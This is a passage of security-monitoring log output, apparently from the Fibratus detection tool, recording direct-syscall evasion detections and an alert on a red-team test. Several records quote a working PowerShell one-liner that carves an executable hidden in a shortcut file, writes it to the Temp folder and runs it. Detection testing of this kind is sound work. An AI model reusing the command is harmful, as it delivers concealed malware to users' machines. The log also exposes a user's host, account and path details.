(x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!IsSandboxedProcess|0x7ff8e8392b75 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!IsSandboxedProcess|0x7ff8e6ebd364 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!IsSandboxedProcess|0x7ff8e6ebd198 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!IsSandboxedProcess|0x7ff8e6ebca94 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!IsSandboxedProcess|0x7ff8e6ebc813 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!IsSandboxedProcess|0x7ff8e68526b0 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!?|0x7ff8e689efe8 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!?|0x7ff8e68bfc52 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!?|0x7ff986b7e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ff988d2c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-11T16:36:58+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2708544 + Pid: 12220 + Tid: 13100 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-11 16:36:45.5194851 +0100 CET + Params: base_address➜ 7ff9656a0000, checksum➜ 842635, default_address➜ 7ff9656a0000, file_path➜ C:\Windows\System32\OneCoreCommonProxyStub.dll, image_size➜ 823296, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12220, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12220 + Ppid: 1792 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_12220_ACZHQGDVMDWAUSBW COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff807f01e0534 C:\WINDOWS\system32\ntoskrnl.exe!PsIsThreadTerminating+0x1f4|0xfffff807f00d312d C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x74d|0xfffff807f011d312 C:\WINDOWS\system32\ntoskrnl.exe!FsRtlAreNamesEqual+0x5b2|0xfffff807f06f7f48 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff807f06f7bbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff807f06da620 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5570|0xfffff807f0690f2b C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc7b|0xfffff807f06904fd C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807f04b5655 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x91d5|0x7ff911d8b014 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!DumpHungProcessWithPtype_ExportThunk|0x7ff911c3cefa C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ff911c3d383 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ff988ca53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ff988ca701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988d14294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ff988cb63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988cb6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988cdfa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ff98610ca5f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff9876872c5 C:\Windows\System32\combase.dll!CoReleaseServerProcess|0x7ff987686df7 C:\Windows\System32\combase.dll!CoReleaseServerProcess|0x7ff987848562 C:\Windows\System32\combase.dll!Ordinal225|0x7ff9878499bc C:\Windows\System32\combase.dll!Ordinal225|0x7ff987849ac5 C:\Windows\System32\combase.dll!Ordinal225|0x7ff987845bd6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ff9877df4c1 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ff9877170f3 C:\Windows\System32\combase.dll!SetErrorInfo|0x7ff987717034 C:\Windows\System32\combase.dll!SetErrorInfo|0x7ff987716b24 C:\Windows\System32\combase.dll!SetErrorInfo|0x7ff9876af22a C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876ae382 C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876ade7e C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876adb02 C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876acc81 C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff98774eb5f C:\Windows\System32\combase.dll!WindowsPromoteStringBuffer|0x7ff9876f4845 C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff9876a5554 C:\Windows\System32\combase.dll!CoMarshalInterface|0x7ff9876a5110 C:\Windows\System32\combase.dll!CoTaskMemAlloc|0x7ff9874b018d C:\Windows\System32\rpcrt4.dll!NdrPointerMarshall|0x7ff9874ae0e9 C:\Windows\System32\rpcrt4.dll!NdrComplexStructMarshall|0x7ff9875763b2 C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ff987575816 C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ff9874b6c50 C:\Windows\System32\rpcrt4.dll!NdrStubCall3|0x7ff987701e8d C:\Windows\System32\combase.dll!CStdStubBuffer_Invoke|0x7ff987701dcb C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff987701346 C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff987700991 C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff98775c636 C:\Windows\System32\combase.dll!RoGetServerActivatableClasses|0x7ff987696964 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ff9876b4a45 C:\Windows\System32\combase.dll!Ordinal142|0x7ff987694630 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ff9877e0ddb C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ff9872c7846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ff9872c539d C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ff9877994db C:\Windows\System32\combase.dll!CStdStubBuffer_QueryInterface|0x7ff98768ba0b C:\Windows\System32\combase.dll!CoResumeClassObjects|0x7ff98779b661 C:\Windows\System32\combase.dll!RoParameterizedTypeExtraGetTypeSignature|0x7ff98779b519 C:\Windows\System32\combase.dll!RoParameterizedTypeExtraGetTypeSignature|0x7ff986b7e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ff988d2c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-11T16:37:42+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 2981810 + Pid: 17160 + Tid: 17356 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:37:20.974622 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff8b043fe94370, file_path➜ C:\Fibratus\redteam\EmbedExeLnk-\fishy.lnk, irp➜ ffff8b04428210f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 17356, type➜ File + Metadata: rule.seq.link: 17160, rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 17160 + Ppid: 17076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 3024904 + Pid: 17160 + Tid: 17356 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:37:35.5753017 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE|OPEN_NO_RECALL, file_object➜ ffff8b043fea30f0, file_path➜ C:\Users\nedo\AppData\Local\Temp\tmp1567204971.exe, irp➜ ffff8b0443d4c908, is_dll➜ false, is_dotnet➜ false, is_driver➜ false, is_exec➜ true, share_mask➜ WRITE, status➜ Success, tid➜ 17356, type➜ File + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0002/, rule.seq.link: 17160, rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002, tactic.name: Execution + + Pid: 17160 + Ppid: 17076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 3025021 + Pid: 17160 + Tid: 17356 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-11 16:37:35.609532 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\tmp1567204971.exe", directory_table_base➜ 3fe0aa000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\tmp1567204971.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8b044e0020c0, name➜ tmp1567204971.exe, pid➜ 15604, ppid➜ 17160, real_ppid➜ 17160, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-11 16:37:35.6094673 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 17160, rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 17160 + Ppid: 17076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program 